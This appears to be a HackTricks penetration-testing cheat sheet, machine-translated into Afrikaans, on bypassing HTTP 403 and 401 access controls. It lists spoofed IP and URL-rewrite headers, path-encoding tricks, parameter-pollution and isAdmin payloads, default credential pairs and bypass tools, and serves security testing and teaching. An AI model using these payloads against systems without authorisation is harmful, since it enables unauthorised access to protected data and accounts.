403 & 401 Bypasses
Reading time: 5 minutes
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HTTP Verbs/Methods Fuzzing
Probeer om verskillende werkwoorde te gebruik om toegang tot die lêer te verkry: GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK
- Kontroleer die responskoppe, miskien kan daar 'n paar inligting gegee word. Byvoorbeeld, 'n 200 respons op HEAD met
Content-Length: 55
beteken dat die HEAD werkwoord toegang tot die info kan verkry. Maar jy moet steeds 'n manier vind om daardie info te exfiltreer. - Gebruik 'n HTTP-kop soos
X-HTTP-Method-Override: PUT
om die gebruikte werkwoord te oorskryf. - Gebruik
TRACE
werkwoord en as jy baie gelukkig is, kan jy dalk in die respons ook die koppe wat deur tussenliggende proxies bygevoeg is sien wat nuttig kan wees.
HTTP Headers Fuzzing
-
Verander die Host-kop na 'n arbitrêre waarde (dit het hier gewerk)
-
Probeer om ander User Agents te gebruik om toegang tot die hulpbron te verkry.
-
Fuzz HTTP Headers: Probeer om HTTP Proxy Headers, HTTP Authentisering Basic en NTLM brute-force (met 'n paar kombinasies net) en ander tegnieke te gebruik. Om dit alles te doen, het ek die hulpmiddel fuzzhttpbypass geskep.
-
X-Originating-IP: 127.0.0.1
-
X-Forwarded-For: 127.0.0.1
-
X-Forwarded: 127.0.0.1
-
Forwarded-For: 127.0.0.1
-
X-Remote-IP: 127.0.0.1
-
X-Remote-Addr: 127.0.0.1
-
X-ProxyUser-Ip: 127.0.0.1
-
X-Original-URL: 127.0.0.1
-
Client-IP: 127.0.0.1
-
True-Client-IP: 127.0.0.1
-
Cluster-Client-IP: 127.0.0.1
-
X-ProxyUser-Ip: 127.0.0.1
-
Host: localhost
As die pad beskerm is, kan jy probeer om die padbeskerming te omseil deur hierdie ander koppe te gebruik:
-
X-Original-URL: /admin/console
-
X-Rewrite-URL: /admin/console
-
As die bladsy agter 'n proxy is, is dit dalk die proxy wat jou verhinder om toegang tot die private inligting te verkry. Probeer om HTTP Request Smuggling of hop-by-hop koppe** te misbruik.**
-
Fuzz spesiale HTTP-koppe op soek na verskillende respons.
-
Fuzz spesiale HTTP-koppe terwyl jy HTTP Metodes fuzz.
-
Verwyder die Host-kop en miskien sal jy in staat wees om die beskerming te omseil.
Path Fuzzing
As /path geblokkeer is:
- Probeer om /%2e/path _(as die toegang deur 'n proxy geblokkeer word, kan dit die beskerming omseil). Probeer ook_** /%252e**/path (dubbele URL-kodering)
- Probeer Unicode omseiling: /%ef%bc%8fpath (Die URL-gecodeerde karakters is soos "/") so wanneer dit weer geëncodeer word, sal dit //path wees en miskien het jy reeds die /path naamkontrole omseil.
- Ander pad omseilings:
- site.com/secret –> HTTP 403 Verbode
- site.com/SECRET –> HTTP 200 OK
- site.com/secret/ –> HTTP 200 OK
- site.com/secret/. –> HTTP 200 OK
- site.com//secret// –> HTTP 200 OK
- site.com/./secret/.. –> HTTP 200 OK
- site.com/;/secret –> HTTP 200 OK
- site.com/.;/secret –> HTTP 200 OK
- site.com//;//secret –> HTTP 200 OK
- site.com/secret.json –> HTTP 200 OK (ruby)
- Gebruik al hierdie lys in die volgende situasies:
- /FUZZsecret
- /FUZZ/secret
- /secretFUZZ
- Ander API omseilings:
- /v3/users_data/1234 --> 403 Verbode
- /v1/users_data/1234 --> 200 OK
- {“id”:111} --> 401 Ongeautoriseerd
- {“id”:[111]} --> 200 OK
- {“id”:111} --> 401 Ongeautoriseerd
- {“id”:{“id”:111}} --> 200 OK
- {"user_id":"<legit_id>","user_id":"<victims_id>"} (JSON Parameter Besoedeling)
- user_id=ATTACKER_ID&user_id=VICTIM_ID (Parameter Besoedeling)
Parameter Manipulation
- Verander param waarde: Van
id=123
-->id=124
- Voeg addisionele parameters by die URL:
?
id=124
—->id=124&isAdmin=true
- Verwyder die parameters
- Herordeneer parameters
- Gebruik spesiale karakters.
- Voer grens toetsing in die parameters uit — verskaf waardes soos -234 of 0 of 99999999 (net 'n paar voorbeeldwaardes).
Protocol weergawe
As jy HTTP/1.1 gebruik, probeer om 1.0 te gebruik of toets selfs of dit 2.0 ondersteun.
Ander Omseilings
- Kry die IP of CNAME van die domein en probeer om direk kontak te maak.
- Probeer om die bediener te stres deur algemene GET versoeke te stuur (Dit het vir hierdie ou gewerk met Facebook).
- Verander die protokol: van http na https, of van https na http
- Gaan na https://archive.org/web/ en kyk of daardie lêer in die verlede wêreldwyd toeganklik was.
Brute Force
- Raai die wagwoord: Toets die volgende algemene akrediteer. Weet jy iets van die slagoffer? Of die CTF-uitdaging naam?
- Brute force: Probeer basiese, digest en NTLM auth.
admin admin
admin password
admin 1234
admin admin1234
admin 123456
root toor
test test
guest guest
Outomatiese Gereedskap
- https://github.com/lobuhi/byp4xx
- https://github.com/iamj0ker/bypass-403
- https://github.com/gotr00t0day/forbiddenpass
- Burp Extension - 403 Bypasser
- Verbode Buster
- NoMoreForbidden
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.